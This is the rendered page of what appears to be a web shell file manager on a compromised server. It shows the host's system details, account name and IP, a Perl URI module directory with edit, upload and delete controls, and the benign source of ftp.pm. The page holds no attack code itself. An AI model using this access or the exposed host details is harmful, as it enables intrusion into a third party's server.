[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
perl5
/
URI
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 file
SET
[ DEL ]
📁 urn
SET
[ DEL ]
📄 Escape.pm
7,061 B
SET
[ EDIT ]
|
[ DEL ]
📄 Heuristic.pm
6,524 B
SET
[ EDIT ]
|
[ DEL ]
📄 IRI.pm
820 B
SET
[ EDIT ]
|
[ DEL ]
📄 QueryParam.pm
4,887 B
SET
[ EDIT ]
|
[ DEL ]
📄 Split.pm
2,379 B
SET
[ EDIT ]
|
[ DEL ]
📄 URL.pm
5,487 B
SET
[ EDIT ]
|
[ DEL ]
📄 WithBase.pm
3,857 B
SET
[ EDIT ]
|
[ DEL ]
📄 _foreign.pm
133 B
SET
[ EDIT ]
|
[ DEL ]
📄 _generic.pm
5,848 B
SET
[ EDIT ]
|
[ DEL ]
📄 _idna.pm
2,105 B
SET
[ EDIT ]
|
[ DEL ]
📄 _ldap.pm
3,275 B
SET
[ EDIT ]
|
[ DEL ]
📄 _login.pm
257 B
SET
[ EDIT ]
|
[ DEL ]
📄 _punycode.pm
5,648 B
SET
[ EDIT ]
|
[ DEL ]
📄 _query.pm
2,557 B
SET
[ EDIT ]
|
[ DEL ]
📄 _segment.pm
442 B
SET
[ EDIT ]
|
[ DEL ]
📄 _server.pm
3,750 B
SET
[ EDIT ]
|
[ DEL ]
📄 _userpass.pm
1,060 B
SET
[ EDIT ]
|
[ DEL ]
📄 data.pm
3,417 B
SET
[ EDIT ]
|
[ DEL ]
📄 file.pm
9,761 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftp.pm
1,082 B
SET
[ EDIT ]
|
[ DEL ]
📄 gopher.pm
2,454 B
SET
[ EDIT ]
|
[ DEL ]
📄 http.pm
451 B
SET
[ EDIT ]
|
[ DEL ]
📄 https.pm
170 B
SET
[ EDIT ]
|
[ DEL ]
📄 ldap.pm
2,950 B
SET
[ EDIT ]
|
[ DEL ]
📄 ldapi.pm
467 B
SET
[ EDIT ]
|
[ DEL ]
📄 ldaps.pm
170 B
SET
[ EDIT ]
|
[ DEL ]
📄 mailto.pm
1,302 B
SET
[ EDIT ]
|
[ DEL ]
📄 mms.pm
151 B
SET
[ EDIT ]
|
[ DEL ]
📄 news.pm
1,480 B
SET
[ EDIT ]
|
[ DEL ]
📄 nntp.pm
153 B
SET
[ EDIT ]
|
[ DEL ]
📄 pop.pm
1,233 B
SET
[ EDIT ]
|
[ DEL ]
📄 rlogin.pm
155 B
SET
[ EDIT ]
|
[ DEL ]
📄 rsync.pm
233 B
SET
[ EDIT ]
|
[ DEL ]
📄 rtsp.pm
151 B
SET
[ EDIT ]
|
[ DEL ]
📄 rtspu.pm
152 B
SET
[ EDIT ]
|
[ DEL ]
📄 sftp.pm
124 B
SET
[ EDIT ]
|
[ DEL ]
📄 sip.pm
1,735 B
SET
[ EDIT ]
|
[ DEL ]
📄 sips.pm
169 B
SET
[ EDIT ]
|
[ DEL ]
📄 snews.pm
198 B
SET
[ EDIT ]
|
[ DEL ]
📄 ssh.pm
201 B
SET
[ EDIT ]
|
[ DEL ]
📄 telnet.pm
154 B
SET
[ EDIT ]
|
[ DEL ]
📄 tn3270.pm
154 B
SET
[ EDIT ]
|
[ DEL ]
📄 urn.pm
2,201 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ftp.pm
package URI::ftp; use strict; use warnings; our $VERSION = '1.73'; $VERSION = eval $VERSION; use parent qw(URI::_server URI::_userpass); sub default_port { 21 } sub path { shift->path_query(@_) } # XXX sub _user { shift->SUPER::user(@_); } sub _password { shift->SUPER::password(@_); } sub user { my $self = shift; my $user = $self->_user(@_); $user = "anonymous" unless defined $user; $user; } sub password { my $self = shift; my $pass = $self->_password(@_); unless (defined $pass) { my $user = $self->user; if ($user eq 'anonymous' || $user eq 'ftp') { # anonymous ftp login password # If there is no ftp anonymous password specified # then we'll just use 'anonymous@' # We don't try to send the read e-mail address because: # - We want to remain anonymous # - We want to stop SPAM # - We don't want to let ftp sites to discriminate by the user, # host, country or ftp client being used. $pass = 'anonymous@'; } } $pass; } 1;